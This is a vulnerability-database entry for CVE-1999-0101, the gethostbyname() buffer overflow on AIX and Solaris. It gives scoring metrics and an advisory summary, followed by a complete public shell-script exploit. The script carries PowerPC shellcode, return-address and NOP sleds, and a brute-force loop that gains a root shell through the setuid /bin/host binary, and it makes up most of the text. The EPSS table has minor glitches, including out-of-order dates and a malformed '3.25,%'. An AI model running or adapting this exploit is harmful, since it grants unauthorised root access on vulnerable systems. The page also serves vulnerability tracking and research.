CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Buffer overflow in AIX and Solaris "gethostbyname" library call allows root access through corrupt DNS host names.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
6.79%
–
–
2022-04-03
–
–
6.79%
–
–
2022-05-22
–
–
6.79%
–
–
2023-03-12
–
–
–
0.98%
–
2023-08-13
–
–
–
0.98%
–
2024-02-11
–
–
–
0.6%
–
2024-06-02
–
–
–
0.6%
–
2024-07-14
–
–
–
0.6%
–
2024-12-22
–
–
–
0.6%
–
2025-02-16
–
–
–
0.6%
–
2025-01-19
–
–
–
0.6%
–
2025-02-16
–
–
–
0.6%
–
2025-03-18
–
–
–
–
3.25%
2025-03-18
–
–
–
–
3.25,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/6853/info
A vulnerability has been discovered in multiple vendor implementations of the 'gethostbyname()' library function, which is used to resolve network addresses.
The 'gethostbyname()' function fails to implement sufficient bounds checking on data copied into local memory buffers.
Under some circumstances, attackers may exploit this issue to overwrite sensitive locations in memory and may leverage the issue to execute arbitrary commands with the privileges of the vulnerable application. This issue may be local or remote, depending on the particular applications that use the function on vulnerable systems.
Several applications may implement the 'gethostbyname()' function, thus exposing them to this vulnerability. Applications known to implement 'gethostbyname()' include various implementations of 'ping', 'ftp', and 'tftp'. Other applications may also be vulnerable.
#!/bin/sh
#######################################
## Local r00t 'shell-exploit' for: ##
## gethostbyname() Buffer Overflow ##
## [ BID 6853 / CVE-1999-0101 ] ##
## - - - ##
## By Roman Medina-Heigl Hernandez ##
## aka RoMaNSoFt <roman@rs-labs.com> ##
## ##
## Madrid, 28.Sep.2006 ##
## ================================= ##
## Public release. Version 1. ##
## --------------------------------- ##
## -= http://www.rs-labs.com/ =- ##
#######################################
#############################################################################
# #
# This is merely a proof of concept for what I call a "shell-exploit" #
# #
# * Original IBM Advisory: ERS-SVA-E01-1996:007.1 (03.Dec.1996) #
# * Affected platforms: IBM AIX(r) 3.2.x, 4.1.x, 4.2.x #
# * Exploit tested on: PowerPC-604 running AIX 4.1.4.0 #
# * No need to use a compiler, perl, etc. Shell-scripting power! #
# Now you know what a pure 'shell-exploit' is :-) #
# * Syntax: #
# % ./rs_aix_host.sh [RET length] [NOP length] [4140|41|42] #
# #
###############################################################--[ EOT ]--###
### Default configuration
ret_length=100
nop_length=300
### Return Address
# AIX 4.1.4.0 - Tested
TGT4140="AIX 4.1.4.0"
RET4140="\057\362\054\330" # 0x2ff22cd8
# Generic AIX 4.1 - Untested, we assume the former one. Mail me if you have a better guess
TGT41="AIX 4.1.x"
RET41=$RET4140
# Generic AIX 4.2 - Untested, we assume the former one. Mail me if you have a better guess
TGT42="AIX 4.2.x"
RET42=$RET4140
### Shellcode (LSD's Asmcodes - PowerPC/AIX)
#
# char _shellcode[]= /* 12*4+8 bytes */
# "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
# "\x40\x82\xff\xfd" /* bnel <shellcode> */
# "\x7f\xe8\x02\xa6" /* mflr r31 */
# "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
# "\x38\x7f\xff\x08" /* cal r3,-248(r31) */
# "\x38\x9f\xff\x10" /* cal r4,-240(r31) */
# "\x90\x7f\xff\x10" /* st r3,-240(r31) */
# "\x90\xbf\xff\x14" /* st r5,-236(r31) */
# "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
# "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
# "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
# "\x44\xff\xff\x02" /* svca */
# "/bin/sh"
# #ifdef V41
# "\x03"
# #endif
# #ifdef V42
# "\x02"
# #endif
PARTIALCODE="\
\174\245\052\171\100\202\377\375\177\350\002\246\073\377\001\040\
\070\177\377\010\070\237\377\020\220\177\377\020\220\277\377\024\
\210\137\377\017\230\277\377\017\114\306\063\102\104\377\377\002\
\057\142\151\156\057\163\150\
"
# AIX 4.1
SHELLCODE41=$PARTIALCODE"\003"
# AIX 4.2
SHELLCODE42=$PARTIALCODE"\002"
### NOP
NOP="\117\377\373\202" # 0x4ffffb82 /* cror 31,31,31 */
### Setuid binary (target)
CMD=/bin/host
### Functions
oct2bin_setup()
{
# Better to use printf binary if present
if [ `printf "dSR"` = "dSR" ] >/dev/null 2>&1 ; then
_PRINTCMD="printf"
_SYSV=""
elif [ `echo "RS\c"` = "RS" ] >/dev/null 2>&1 ; then
# System V
_PRINTCMD="echo"
_SYSV="\c"
else
# Linux/BSD
_PRINTCMD="echo -n -e"
_SYSV=""
fi
if ! [ `$_PRINTCMD "dSR"$_SYSV` = "dSR" ] >/dev/null 2>&1 ; then
echo "Sorry, I don't know how to write raw binary data :-("
echo "Please, modify oct2bin* functions and try again!"
exit 2
fi
}
oct2bin()
{
$_PRINTCMD $1$_SYSV
}
printhex()
{
oct2bin $1 | od -t x4 -A n | tr -cd 0123456789abcdefABCDEF
}
### Exploit really starts here...
echo "#######################################"
echo "## Local r00t 'shell-exploit' for: ##"
echo "## gethostbyname() Buffer Overflow ##"
echo "## [ BID 6853 / CVE-1999-0101 ] ##"
echo "## . . . . . . . . . . . . . . . ##"
echo "## By: RoMaNSoFt <roman@rs-labs.com> ##"
echo "#######################################"
echo
### Check target binary
if [ -x $CMD -a -u $CMD ] ; then
echo "[*] Target binary has suid bit [$CMD]"
else
echo "Sorry, target doesn't exist or it's not suid or cannot be executed"
exit 3
fi
### We accept (optional) parameters
if [ $1 ] ; then
ret_length=$1
fi
if [ $2 ] ; then
nop_length=$2
fi
# Default target platform
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41
if [ $3 ] ; then
if [ $3 = "4140" ] ; then
TARGET=$TGT4140
RET=$RET4140
SHELLCODE=$SHELLCODE41
elif [ $3 = "41" ] ; then
TARGET=$TGT41
RET=$RET41
SHELLCODE=$SHELLCODE41
elif [ $3 = "42" ] ; then
TARGET=$TGT42
RET=$RET42
SHELLCODE=$SHELLCODE42
fi
fi
### First, we convert octal strings to raw binary
oct2bin_setup
RET=`oct2bin $RET`
NOP=`oct2bin $NOP`
SHELLCODE=`oct2bin $SHELLCODE`
### Second, we create the NOP & RET sleds
echo "[*] Setting up exploitation environment..."
ret_sled=""
i=$ret_length
while [ $i != 0 ]; do
ret_sled=$ret_sled$RET
i=$(($i-1))
done
nop_sled=""
i=$nop_length
while [ $i != 0 ]; do
nop_sled=$nop_sled$NOP
i=$(($i-1))
done
echo "--> TARGET = $TARGET // RET = 0x"`printhex $RET`" // RETs = $ret_length //"\
" NOPs = $nop_length <--"
### Prior to exploitation the environment will be un-exported to preserve memory layout
### and previous RET calculations
for i in `env | cut -d= -f1` ; do
typeset +x $i
done
### Exploit it!
echo "[*] Exploiting..."
PAD="A"
ipad="A"
i=0
SUCCESS=0
while [ $i -lt 4 ]; do
jpad=""
j=0
while [ $j -lt 4 ]; do
EGG=$ipad$nop_sled$SHELLCODE $CMD $jpad$ret_sled
if [ $? = 0 ]; then
SUCCESS=1
break 2
fi
jpad=$PAD$jpad
j=$(($j+1))
done
ipad=$PAD$ipad
i=$(($i+1))
done
### Finish politely ;-)
if [ $SUCCESS = 1 ]; then
echo "--> Guessed PAD: EGG = $i // RET = $j <--"
echo "Owned :-)"
STATUS=0
else
echo "Bad luck :-("
STATUS=1
fi
exit $STATUS
# --[ EOT ]--